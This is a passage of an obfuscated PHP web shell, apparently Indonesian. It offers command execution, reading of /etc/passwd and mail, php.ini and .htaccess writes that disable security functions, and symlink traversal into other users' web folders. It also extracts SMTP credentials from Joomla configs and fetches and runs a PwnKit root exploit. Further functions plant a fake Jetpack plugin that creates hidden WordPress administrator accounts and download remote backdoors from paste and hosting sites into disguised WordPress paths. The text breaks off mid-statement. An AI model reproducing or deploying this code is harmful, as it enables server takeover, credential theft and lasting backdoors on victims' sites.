<input type="submit" class="fiture btn btn-warning btn-sm" value="System Function" name="systuser">\xa<input type="submit" class="fiture btn btn-warning btn-sm" value="Passthru Function" name="passthuser">
<input type="submit" class="fiture btn btn-warning btn-sm" value="Exec Function" name="exuser">\x9
<input type="submit" class="fiture btn btn-warning btn-sm" value="Shell_exec Function" name="shexuser">
</div>
</form>"; $mail = "ls /var/mail"; $IIIIIII1ll1I = "/etc/passwd"; if ($_POST["syst"]) { echo "<textarea class='form-control' rows='13'>"; echo system("cat {$IIIIIII1ll1I}"); echo "</textarea><br/>"; } if ($_POST["passth"]) { echo "<textarea class='form-control' rows='13'>"; echo passthru("cat {$IIIIIII1ll1I}"); echo "</textarea><br/>"; } if ($_POST["ex"]) { echo "<textarea class='form-control' rows='13'>"; echo exec("cat {$IIIIIII1ll1I}"); echo "</textarea><br/>"; } if ($_POST["shex"]) { echo "<textarea class='form-control' rows='13'>"; echo shell_exec("cat {$IIIIIII1ll1I}"); echo "</textarea><br/>"; } if ($_POST["melex"]) { echo "<textarea class='form-control' rows='13'>"; for ($IIIIIII1ll1l = 0; $IIIIIII1ll1l < 6000; $IIIIIII1ll1l++) { $IIIIIII1ll11 = posix_getpwuid($IIIIIII1ll1l); if (!empty($IIIIIII1ll11)) { while (list($IIIIIII1l1II, $IIIIIII1l1Il) = each($IIIIIII1ll11)) { print "{$IIIIIII1l1Il}:"; } print "n"; } } echo "</textarea><br/>"; } if ($_POST["awkuser"]) { echo "<textarea class='form-control' rows='13'>\xa" . shell_exec("awk -F: '{ print {$IIIIIII1l1I1} }' {$IIIIIII1ll1I} | sort") . "
</textarea><br/>"; } if ($_POST["systuser"]) { echo "<textarea class='form-control' rows='13'>"; echo system("{$mail}"); echo "</textarea><br>"; } if ($_POST["passthuser"]) { echo "<textarea class='form-control' rows='13'>"; echo passthru("{$mail}"); echo "</textarea><br>"; } if ($_POST["exuser"]) { echo "<textarea class='form-control' rows='13'>"; echo exec("{$mail}"); echo "</textarea><br>"; } if ($_POST["shexuser"]) { echo "<textarea class='form-control' rows='13'>"; echo shell_exec("{$mail}"); echo "</textarea><br>"; } echo "</div>"; die; } goto Dm97v; GpOwm: session_start(); goto e0H04; U8hFk: if ($_GET["aksi"] == "changedate") { IIIIIIIlI1ll($dir, $IIIIIIII1l1I); } goto uZ0YP; BQ8GD: function disabFunc($dir, $file) { echo "<div class='card card-body text-center text-dark'>
<h4 class='text-center mt-2 mb-3'>Bypass Disable Functions</h2>
<form method='POST'>\xa<input type='submit' class='btn btn-danger' name='ini' value='php.ini'/>\xa<input type='submit' class='btn btn-danger' name='htce' value='.htaccess'/>
<input type='submit' class='btn btn-danger' name='litini' value='Litespeed'/>
</form>"; if (isset($_POST["ini"])) { $file = fopen("php.ini", "w"); echo fwrite($file, "safe_mode = OFF\xadisable_functions = NONE"); fclose($file); echo "<a href='php.ini' class='btn btn-success btn-block' target='_blank'>Klik Coeg!</a>"; } elseif (isset($_POST["htce"])) { $file = fopen(".htaccess", "w"); echo fwrite($file, "<IfModule mod_security.c>
SecFilterEngine Off\xaSecFilterScanPOST Off
</IfModule>"); fclose($file); echo "<p>.htaccess successfully created!</p>"; } elseif (isset($_POST["litini"])) { $IIIIIIlIlIlI = "PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg=="; $IIIIIIlIlIll = "safe_mode = OFF
disable_functions = NONE"; $IIIIIIlIlIl1 = "<Files *.php>
ForceType application/x-httpd-php4
</Files>"; file_put_contents("php.ini", $IIIIIIlIlIll); file_put_contents("ini.php", $IIIIIIlIlIlI); file_put_contents(".htaccess", $IIIIIIlIlIl1); $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Disable Functions in Litespeed Created"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } echo "</div>"; } goto pOIQk; T4EHp: if (isset($_GET["protectnya"])) { $IIIIIIlllI11 = $_GET["protectnya"]; ex("curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o roothunter;chmod +x roothunter"); echo "<pre class='text-white'>" . ex("./roothunter 'sudo chattr +i {$IIIIIIlllI11}'") . "</pre>"; echo "<p class='text-white'>[+] Done Protecting files</p></div></div>"; ex("rm -rf roothunter"); die; } goto HtwCQ; JV7W3: $IIIIIIllllI1 = scandir($path); goto XzELM; Cw8oI: $IIIIIIII1lII = disk_total_space($dir); goto z7DGc; HgISA: function IIIIIIIlI1lI($dir) { echo "<div class='card'>\xa<div class='card-body form-group'><form>\xa<h5><p class='text-muted'><i class='fa fa-terminal'></i>Terminal</p></h5>
<input type='text' class='form-control' name='rootnya' autocomplete='off' placeholder='rooted'>\xa</form></div></div>"; } goto XlvIp; TOKr0: ini_set("display_errors", 0); goto avNPj; wYL_b: function r($dir, $perm) { if (!is_readable($dir)) { return "<font color=red>" . $perm . "</font>"; } else { return "<font color=lime>" . $perm . "</font>"; } } goto kyGyA; mA8lq: if ($_GET["aksi"] == "chmod_file") { IIIIIIIlllII($dir, $file, $IIIIIIIlllIl); } goto lzT0f; rQZ11: ob_start(); goto V3I3M; wAXZQ: if ($_GET["aksi"] == "crontab") { IIIIIIIlI1Il($dir); } goto Zq00K; jT_fe: if ($_GET["aksi"] == "ngeroot") { autoRoot($dir); } goto jeZQ1; nwSu2: $IIIIIIIlIIl1 = @file("/etc/named.conf", false); goto wGGcQ; WPQAH: $IIIIIIII1I1I = function_exists("mysql_connect") ? " <font color=green> ON </font> " : " <font color=red> OFF </font> "; goto gyq2_; C142H: if ($_GET["aksi"] == "confbypass") { IIIIIIIlI111($dir, $IIIIIIII1l1I); } goto Zko4a; Uibm2: ini_set("max_execution_time", 0); goto BRRlq; G7maZ: function IIIIIIIlllII($dir, $file, $IIIIIIIlllIl) { echo "<form method='POST'>\xa<h5>Chmod File : {$IIIIIIIlllIl} </h5>\xa<div class='form-group input-group'>\xa<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["file"])), -4) . "'>
<input type='submit' class='btn btn-danger form-control' value='Chmod'>
</div>\xa</form>"; if (isset($_POST["perm"])) { if (@chmod($_GET["file"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } die; } goto Ou_xB; kV2xI: if ($_GET["aksi"] == "adminer") { IIIIIII1l1lI($dir, $file); } goto DjebA; XnLRJ: function IIIIIIllII11($dir) { $IIIIIIllIlII = scandir($dir); foreach ($IIIIIIllIlII as $IIIIIIIl11ll) { if (!is_file("{$dir}/{$IIIIIIIl11ll}")) { continue; } $IIIIIIllIlIl = file_get_contents("{$dir}/{$IIIIIIIl11ll}"); $IIIIIIllIlIl = str_replace("$", '', $IIIIIIllIlIl); if (preg_match("/JConfig|joomla/", $IIIIIIllIlIl)) { $IIIIIIllIlI1 = IIIIIIII11l1($IIIIIIllIlIl, "smtphost = '", "'"); $IIIIIIllIllI = IIIIIIII11l1($IIIIIIllIlIl, "smtpauth = '", "'"); $IIIIIIllIlll = IIIIIIII11l1($IIIIIIllIlIl, "smtpuser = '", "'"); $IIIIIIllIll1 = IIIIIIII11l1($IIIIIIllIlIl, "smtppass = '", "'"); $IIIIIIllIl1I = IIIIIIII11l1($IIIIIIllIlIl, "smtpport = '", "'"); $IIIIIIllIl1l = IIIIIIII11l1($IIIIIIllIlIl, "smtpsecure = '", "'"); echo "<table class='text-white table table-bordered'>
<tr>\xa<td>SMTP Host: {$IIIIIIllIlI1}</td>\xa</tr>\xa<tr>
<td>SMTP Port: {$IIIIIIllIl1I}</td>\xa</tr>
<tr>
<td>SMTP User: {$IIIIIIllIlll}</td>\xa</tr>\xa<tr>\xa<td>SMTP Pass: {$IIIIIIllIll1}</td>\xa</tr>
<tr>
<td>SMTP Auth: {$IIIIIIllIllI}</td>
</tr>
<tr>
<td>SMTP Secure: {$IIIIIIllIl1l}</td>
</tr>
</table>"; } } echo "<p class='text-muted'>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>"; die; } goto ypc_4; C_qji: if ($_GET["aksi"] == "zip_menu") { IIIIIIllI1lI($dir, $file); } goto CDm1q; A9k68: function wpuser($dir) { echo "<div class="card mb-5">\xa<div class="card-body form-group">
<center><p><p class="text-info font-weight-bold">[+] Add WP User via MU Plugin</p><p></center>"; echo "<center>
<form method='post'>\xa<input type='submit' class='btn btn-success mb-3' name='wpusermu' value='Inject MU Plugin'>
</form>
</center>"; if ($_POST["wpusermu"]) { $isimu = base64_decode("PD9waHAKLyoKUGx1Z2luIE5hbWU6IEpldHBhY2sgU2VydmVyIENvbXBhdGliaWxpdHkgZm9yIFdvcmRQcmVzcwpQbHVnaW4gVVJJOiBodHRwczovL3dvcmRwcmVzcy5vcmcvCkRlc2NyaXB0aW9uOiBXb3JkUHJlc3Mgc2VjdXJpdHksIHBlcmZvcm1hbmNlLCBtYXJrZXRpbmcsIGFuZCBkZXNpZ24gdG9vbHMg4oCUIEpldHBhY2sgaXMgbWFkZSBieSBXb3JkUHJlc3MgZXhwZXJ0cyB0byBtYWtlIFdQIHNpdGVzIHNhZmVyIGFuZCBmYXN0ZXIsIGFuZCBoZWxwIHlvdSBncm93IHlvdXIgdHJhZmZpYy4KVmVyc2lvbjogMS4wLjEzCkF1dGhvcjogQXV0b21hdHRpYwpBdXRob3IgVVJJOiBodHRwczovL3dvcmRwcmVzcy5vcmcvCiovCmFkZF9hY3Rpb24oICdpbml0JywgZnVuY3Rpb24gKCkgewogICAgJGhhc2ggPSAiY0hKdmRHOXVZbTkzMjg5NU1UZzRRR2R0OTMyOFlXbHNMbU52YlE5MzI4PT0iOwogICAgJGtleSA9IHN0cl9yZXBsYWNlKCIzMjBkOCIsIiIsInMzMjBkOHQzMjBkOHIzMjBkOF8zMjBkOHIzMjBkOGUzMjBkOHAzMjBkOGwzMjBkOGEzMjBkOGMzMjBkOGUiKTsKICAgICRob29rX2FjdGlvbiA9ICdiYScuJ3MnLidlNicuJzQnLidfJy4nZCcuJ2UnLidjJy4nb2RlJzsKICAgICR3cF9ob29rID0gJGhvb2tfYWN0aW9uKCJTa0ZPUTA5SCIpOwogICAgJHdwX2FjdGlvbiA9ICRob29rX2FjdGlvbigka2V5KCI5MzI4IiwgIiIsICRoYXNoKSk7CmlmICggISB1c2VybmFtZV9leGlzdHMoICR1c2VybmFtZSApICkgewogICAgJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlciggJHVzZXJuYW1lLCAkd3BfaG9vaywgJHdwX2FjdGlvbiApOwogICAgJHVzZXIgPSBuZXcgV1BfVXNlciggJHVzZXJfaWQgKTsKICAgICR1c2VyLT5zZXRfcm9sZSggJ2FkbWluaXN0cmF0b3InICk7Cn0gZWxzZSB7CiAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCAnd29yZHByZXNzX3NlY3VyaXR5JywgJHBhc3N3b3JkLCAkZW1haWxfYWRkcmVzcyApOwogICAgJHVzZXIgPSBuZXcgV1BfVXNlciggJHVzZXJfaWQgKTsKICAgICR1c2VyLT5zZXRfcm9sZSggJ2FkbWluaXN0cmF0b3InICk7Cn0gfSApOwo/Pg=="); $mu_result = ''; $startDirectory = realpath(__DIR__); if ($startDirectory !== $_SERVER["DOCUMENT_ROOT"]) { $wpcon = $startDirectory . "/wp-content//"; $muplug = $startDirectory . "/wp-content/mu-plugins/"; } else { $wpcon = $_SERVER["DOCUMENT_ROOT"] . "/wp-content//"; $muplug = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/mu-plugins/"; } $array = array(); $array[] = "jetpack-wordpress.php"; $array[] = "jetpack-for-wordpress.php"; $array[] = "jetpack-compatibility.php"; $array[] = "jetpack-nginx-compatibility.php"; $array[] = "jetpack-litespeed-compatibility.php"; $array[] = "jetpack-apache-compatibility.php"; $muname = $array[mt_rand(0, count($array) - 1)]; if (is_writeable($wpcon)) { if (!is_dir($muplug)) { mkdir($muplug, 493, true); $plugmu = $muplug . $muname; $status = file_put_contents($plugmu, $isimu); if ($status) { $mu_result .= "<span class="text-success font-weight-bold">Berhasil Deploy MU Plugins!</span> {$plugmu}<br><br>Username: wordpress / wordpress_security <br>Password: JANCONG"; chmod($plugmu, 292); } else { $mu_result .= "<span class="text-danger font-weight-bold">Gagal Deploy MU Plugins!</span><br>"; } } else { chmod($muplug, 493); $plugmu = $muplug . $muname; $status = file_put_contents($plugmu, $isimu); if ($status) { $mu_result .= "<span class="text-success font-weight-bold">Berhasil Deploy MU Plugins!</span> <span class="text-success font -weight-bold">{$plugmu}</span><br><br><span class="text-info font-weight-bold">Username:</span> <span class="text-info font-weight-bold">wordpress / wordpress_security <br></span><span class="text-info font-weight-bold">Password:</span> <span class="text-info font-weight-bold">JANCONG</span>"; chmod($plugmu, 292); } else { $mu_result .= "<span class="text-danger font-weight-bold">Gagal Deploy MU Plugins!</span><br>"; } } } } echo "<div class="smallarea" name="output style="border-bottom:0;margin-top:5px;" readonly>"; print_r($mu_result) . PHP_EOL; echo "</div>"; echo "</div></div>"; } goto BqkUn; xbcnk: function IIIIIIIlI111($dir, $IIIIIIII1l1I) { echo "<div class='card'>
<div class='card-body form-group'><form>
<h5><p class='text-muted'>Mass Finder Config</p><h5>\xa<h5><p class='text-muted'>{$IIIIIIII1l1I} Target Directory Search :</p></h5>\xa<input type='text' class='form-control' name='configsearching' autocomplete='off' placeholder='ex : /var/www/html'>
</form></div></div>"; } goto Jy1LU; o55aw: date_default_timezone_set("Asia/Jakarta"); goto XBmL5; XY24e: if ($_GET["aksi"] == "wpuser") { wpuser($dir); } goto ATQKj; n7gkr: function IIIIIII1l1l1($dir, $file) { $IIIIIII1l1ll = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); $IIIIIIIlIIl1 = @file("/etc/named.conf"); if (!$IIIIIIIlIIl1) { die("[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error tidak dapat membaca /etc/named.conf</font><br/><br/>"); } if ($IIIIIIIlIIl1) { @mkdir("indosec_sym", 511); @chdir("indosec_sym"); @ex("ln -s / root"); $IIIIIII1l11I = "Options Indexes FollowSymLinks
DirectoryIndex indsc.html\xaAddType text/plain php html php5 phtml
AddHandler text/plain php html php5 phtml
Satisfy Any"; $IIIIIII1l11l = fopen(".htaccess", "w"); $IIIIIII1l111 = fwrite($IIIIIII1l11l, $IIIIIII1l11I); @fclose($IIIIIII1l11l); echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]\xa<div class='tmp'>
<table class='text-center table-responsive'>
<thead class='bg-info'>\xa<th>No.</th>\xa<th>Domains</th>\xa<th>Users</th>
<th>symlink </th>\xa</thead>"; $IIIIIII11IIl = 1; foreach ($IIIIIIIlIIl1 as $IIIIIIIlIlII) { if (eregi("zone", $IIIIIIIlIlII)) { preg_match_all("#zone "(.*)"#", $IIIIIIIlIlII, $IIIIIIIlIllI); flush(); if (strlen(trim($IIIIIIIlIllI[1][0])) > 2) { $user = posix_getpwuid(@fileowner("/etc/valiases/" . $IIIIIIIlIllI[1][0])); echo "<tr>\xa<td>" . $IIIIIII11IIl . "</td>\xa<td class='text-left'><a href=http://www." . $IIIIIIIlIllI[1][0] . "/>" . $IIIIIIIlIllI[1][0] . "</a></td>\xa<td>" . $user["name"] . "</td>\xa<td><a href='{$IIIIIII1l1ll}/indosec_sym/root/home/" . $user["name"] . "/public_html' target='_blank'>Symlink</a></td>
</tr>"; flush(); $IIIIIII11IIl++; } } } echo "</table></div>"; } else { $IIIIIII11IlI = @file("/etc/passwd"); if ($IIIIIII11IlI) { @mkdir("indosec_sym", 511); @chdir("indosec_sym"); @ex("ln -s / root"); $IIIIIII1l11I = "Options Indexes FollowSymLinks
DirectoryIndex indsc.html
AddType text/plain php html php5 phtml\xaAddHandler text/plain php html php5 phtml
Satisfy Any"; $IIIIIII1l11l = fopen(".htaccess", "w"); $IIIIIII1l111 = fwrite($IIIIIII1l11l, $IIIIIII1l11I); @fclose($IIIIIII1l11l); echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]\xa<div class='tmp'>\xa<table class='text-center table-responsive'>
<thead class='bg-warning'>
<th>No.</th>\xa<th>Users</th>\xa<th>symlink </th>
</thead>"; $IIIIIII11IIl = 1; $file = fopen("/etc/passwd", "r") or die("Unable to open file!"); while (!feof($file)) { $s = fgets($file); $IIIIIII11Il1 = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $IIIIIII11Il1); $IIIIIII11Il1 = str_replace("home/", '', $IIIIIII11Il1[1]); if (strlen($IIIIIII11Il1) > 12 || strlen($IIIIIII11Il1) == 0 || $IIIIIII11Il1 == "bin" || $IIIIIII11Il1 == "etc/X11/fs" || $IIIIIII11Il1 == "var/lib/nfs" || $IIIIIII11Il1 == "var/arpwatch" || $IIIIIII11Il1 == "var/gopher" || $IIIIIII11Il1 == "sbin" || $IIIIIII11Il1 == "var/adm" || $IIIIIII11Il1 == "usr/games" || $IIIIIII11Il1 == "var/ftp" || $IIIIIII11Il1 == "etc/ntp" || $IIIIIII11Il1 == "var/www" || $IIIIIII11Il1 == "var/named") { continue; } echo "<tr>
<td>" . $IIIIIII11IIl . "</td>\xa<td>" . $IIIIIII11Il1 . "</td>
<td><a href={$IIIIIII1l1ll}/indosec_sym/root/home/" . $IIIIIII11Il1 . "/public_html target='_blank'>Symlink</a></td>\xa</tr>"; $IIIIIII11IIl++; } fclose($file); echo "</table></div>"; } else { if ($IIIIIIIIl111 != "Windows") { @mkdir("indosec_sym", 511); @chdir("indosec_sym"); @ex("ln -s / root"); $IIIIIII1l11I = "Options Indexes FollowSymLinks\xaDirectoryIndex indsc.html
AddType text/plain php html php5 phtml
AddHandler text/plain php html php5 phtml
Satisfy Any"; $IIIIIII1l11l = fopen(".htaccess", "w"); $IIIIIII1l111 = fwrite($IIIIIII1l11l, $IIIIIII1l11I); @fclose($IIIIIII1l11l); echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]
<div class='tmp'><table class='text-center table-responsive'>
<thead class='bg-danger'>
<th>ID.</th>
<th>Users</th>
<th>symlink </th>
</thead>"; $IIIIIII11I1l = ''; $IIIIIII11I11 = 0; $IIIIIII11lII = 1000; for (; $IIIIIII11I11 <= $IIIIIII11lII; $IIIIIII11I11++) { $IIIIIII1ll1l = @posix_getpwuid($IIIIIII11I11); if ($IIIIIII1ll1l) { $IIIIIII11I1l .= join(":", $IIIIIII1ll1l) . "
"; } } echo "<br/>"; $IIIIIII11I1l = trim($IIIIIII11I1l); $IIIIIII11lIl = fopen("test.txt", "w"); fputs($IIIIIII11lIl, $IIIIIII11I1l); fclose($IIIIIII11lIl); $IIIIIII11IIl = 1; $file = fopen("test.txt", "r") or die("Unable to open file!"); while (!feof($file)) { $s = fgets($file); $IIIIIII11Il1 = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $IIIIIII11Il1); $IIIIIII11Il1 = str_replace("home/", '', $IIIIIII11Il1[1]); if (strlen($IIIIIII11Il1) > 12 || strlen($IIIIIII11Il1) == 0 || $IIIIIII11Il1 == "bin" || $IIIIIII11Il1 == "etc/X11/fs" || $IIIIIII11Il1 == "var/lib/nfs" || $IIIIIII11Il1 == "var/arpwatch" || $IIIIIII11Il1 == "var/gopher" || $IIIIIII11Il1 == "sbin" || $IIIIIII11Il1 == "var/adm" || $IIIIIII11Il1 == "usr/games" || $IIIIIII11Il1 == "var/ftp" || $IIIIIII11Il1 == "etc/ntp" || $IIIIIII11Il1 == "var/www" || $IIIIIII11Il1 == "var/named") { continue; } echo "<tr>\xa<td>" . $IIIIIII11IIl . "</td>\xa<td>" . $IIIIIII11Il1 . "</td>\xa<td><a href={$IIIIIII1l1ll}/indosec_sym/root/home/" . $IIIIIII11Il1 . "/public_html target='_blank'>Symlink</a></td>\xa</tr>"; $IIIIIII11IIl++; } fclose($file); echo "</table></div>"; unlink("test.txt"); } } } die; } goto PdaGD; TQDgL: function wpbd($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">"; echo "<form method="post" class="mb-5">"; echo "<center><p><p class="text-info font-weight-bold">[+] Tebar BD Khusus WordPress</p><p></center>"; echo "<center><input class="btn btn-success" type="submit" name="tebarwp" value="Tebar BD WordPress"></center>"; echo "</form>"; if (isset($_POST["tebarwp"])) { $current_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://{$_SERVER["HTTP_HOST"]}"; $root_url = parse_url($current_url); $home = $root_url["scheme"] . "://" . $root_url["host"] . "/"; if (ob_get_level() == 0) { ob_start(); } echo str_pad('', 4096) . "\xa"; $startDirectory = realpath(__DIR__); $b1 = "https://res.cloudinary.com/dbassets/raw/upload/v1650567839/tool/alf1_skpkmz.txt"; $b2 = "https://res.cloudinary.com/dbassets/raw/upload/v1650567893/tool/alf2_b9kpd8.txt"; $b3 = "https://res.cloudinary.com/dbassets/raw/upload/v1650567930/tool/alf3_gx5vjo.txt"; $b4 = "https://res.cloudinary.com/dbassets/raw/upload/v1650568228/tool/alf4_teokev.txt"; $b5 = "https://res.cloudinary.com/dbassets/raw/upload/v1650568245/tool/alf5_bhvklm.txt"; $b6 = "https://res.cloudinary.com/dbassets/raw/upload/v1650568261/tool/alf6_iurcrv.txt"; $b7 = "https://snippet.host/pwxy/raw"; $b8 = "https://res.cloudinary.com/dbassets/raw/upload/v1650569540/tool/wskagami_bwkxmw.txt"; $b9 = "https://res.cloudinary.com/dbassets/raw/upload/v1650571065/tool/uploader_bfzehf.txt"; $b10 = "https://dpaste.com/BUBSC2Y82.txt"; $b11 = "https://snippet.host/zgsv/raw"; $b12 = "https://res.cloudinary.com/dbassets/raw/upload/v1650567839/tool/alf1_skpkmz.txt"; $b13 = "https://res.cloudinary.com/dbassets/raw/upload/v1650571065/tool/uploader_bfzehf.txt"; $nama1 = "random_bytes_bcrypt.php"; $nama2 = "Advance.php"; $nama3 = "Directory.php"; $nama4 = "random_compat.php"; $nama5 = "Hostname.php"; $nama6 = "class-wp-rest-get-controller.php"; $nama7 = "outline.php"; $nama8 = "site-plugins.php"; $nama9 = "user-config.php"; $nama10 = "meta-deprecated.php"; $nama11 = "images-logo-favicon.php"; $nama12 = "s3-1-1-477x400.php"; $nama13 = "woocommerce-placeholder-300x300.php"; $dir1 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/random_compat/"; if (!is_dir($dir1)) { $dir1 = $startDirectory . "/wp-includes/random_compat/"; $path1 = "wp-includes/random_compat/"; mkdir($dir1, 493, true); } $dir2 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/Requests/Auth/"; if (!is_dir($dir2)) { $dir2 = $startDirectory . "/wp-includes/Requests/Auth/"; $path2 = "wp-includes/Requests/Auth/"; mkdir($dir2, 493, true); } $dir3 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/sodium_compat/namespaced/"; if (!is_dir($dir3)) { $dir3 = $startDirectory . "/wp-includes/sodium_compat/namespaced/"; $path3 = "wp-includes/sodium_compat/namespaced/"; mkdir($dir3, 493, true); } $dir4 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/sodium_compat/lib/"; if (!is_dir($dir4)) { $dir4 = $startDirectory . "/wp-includes/sodium_compat/lib/"; $path4 = "wp-includes/sodium_compat/lib/"; mkdir($dir4, 493, true); } $dir5 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/PHPMailer/"; if (!is_dir($dir5)) { $dir5 = $startDirectory . "/wp-includes/PHPMailer/"; $path5 = "wp-includes/PHPMailer/"; mkdir($dir5, 493, true); } $dir6 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/rest-api/endpoints/"; if (!is_dir($dir6)) { $dir6 = $startDirectory . "/wp-includes/rest-api/endpoints/"; $path6 = "wp-includes/rest-api/endpoints/"; mkdir($dir6, 493, true); } $dir7 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/Text/Diff/Renderer/"; if (!is_dir($dir7)) { $dir7 = $startDirectory . "/wp-includes/Text/Diff/Renderer/"; $path7 = "wp-includes/Text/Diff/Renderer/"; mkdir($dir7, 493, true); } $dir8 = $_SERVER["DOCUMENT_ROOT"] . "/wp-admin/network/"; if (!is_dir($dir8)) { $dir8 = $startDirectory . "/wp-admin/network/"; $path8 = "wp-admin/network/"; mkdir($dir8, 493, true); } $dir9 = $_SERVER["DOCUMENT_ROOT"] . "/wp-admin/user/"; if (!is_dir($dir9)) { $dir9 = $startDirectory . "/wp-admin/user/"; $path9 = "wp-admin/user/"; mkdir($dir9, 493, true); } $dir10 = $_SERVER["DOCUMENT_ROOT"] . "/wp-admin/includes/"; if (!is_dir($dir10)) { $dir10 = $startDirectory . "/wp-admin/includes/"; $path10 = "wp-admin/includes/"; mkdir($dir10, 493, true); } $dir11 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/04/"; if (!is_dir($dir11)) { $dir11 = $startDirectory . "/wp-content/uploads/2022/04/"; $path11 = "wp-content/uploads/2022/04/"; mkdir($dir11, 493, true); } $dir12 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/01/"; if (!is_dir($dir12)) { $dir12 = $startDirectory . "/wp-content/uploads/2022/01/"; $path12 = "wp-content/uploads/2022/01/"; mkdir($dir12, 493, true); } $dir13 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($dir13)) { $dir13 = $startDirectory . "/wp-content/uploads/2022/02/"; $path13 = "wp-content/uploads/2022/02/"; mkdir($dir13, 493, true); } $finalbd1 = $dir1 . $nama1; $finalbd2 = $dir2 . $nama2; $finalbd3 = $dir3 . $nama3; $finalbd4 = $dir4 . $nama4; $finalbd5 = $dir5 . $nama5; $finalbd6 = $dir6 . $nama6; $finalbd7 = $dir7 . $nama7; $finalbd8 = $dir8 . $nama8; $finalbd9 = $dir9 . $nama9; $finalbd10 = $dir10 . $nama10; $finalbd11 = $dir11 . $nama11; $finalbd12 = $dir12 . $nama12; $finalbd13 = $dir13 . $nama13; $urlbd1 = $home . $path1 . $nama1; $urlbd2 = $home . $path2 . $nama2; $urlbd3 = $home . $path3 . $nama3; $urlbd4 = $home . $path4 . $nama4; $urlbd5 = $home . $path5 . $nama5; $urlbd6 = $home . $path6 . $nama6; $urlbd7 = $home . $path7 . $nama7; $urlbd8 = $home . $path8 . $nama8; $urlbd9 = $home . $path9 . $nama9; $urlbd10 = $home . $path10 . $nama10; $urlbd11 = $home . $path11 . $nama11; $urlbd12 = $home . $path12 . $nama12; $urlbd13 = $home . $path13 . $nama13; $bdresult = ''; if (!file_exists($finalbd1)) { if (ini_get("allow_url_fopen")) { $bd1 = file_get_contents($b1); $status_bd1 = file_put_contents($finalbd1, $bd1); if ($status_bd1) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd1 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd1 . "</a><br/>" . PHP_EOL; chmod($finalbd1, 292); } else { $altdir1 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($altdir1)) { $altdir1 = $startDirectory . "/wp-content/uploads/2022/02/"; } $altdir1_final = $altdir1 . $nama1; file_put_contents($altdir1_final, $bd1); chmod($altdir1_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir1_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd1 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd1 . "</a><br/>" . PHP_EOL; chmod($finalbd1, 292); } if (!file_exists($finalbd2)) { if (ini_get("allow_url_fopen")) { $bd2 = file_get_contents($b2); $status_bd2 = file_put_contents($finalbd2, $bd2); if ($status_bd2) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd2 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd2 . "</a><br/>" . PHP_EOL; chmod($finalbd2, 292); } else { $altdir2 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($altdir2)) { $altdir2 = $startDirectory . "/wp-content/uploads/2022/02/"; } $altdir2_final = $altdir2 . $nama2; file_put_contents($altdir2_final, $bd2); chmod($altdir2_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir2_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= 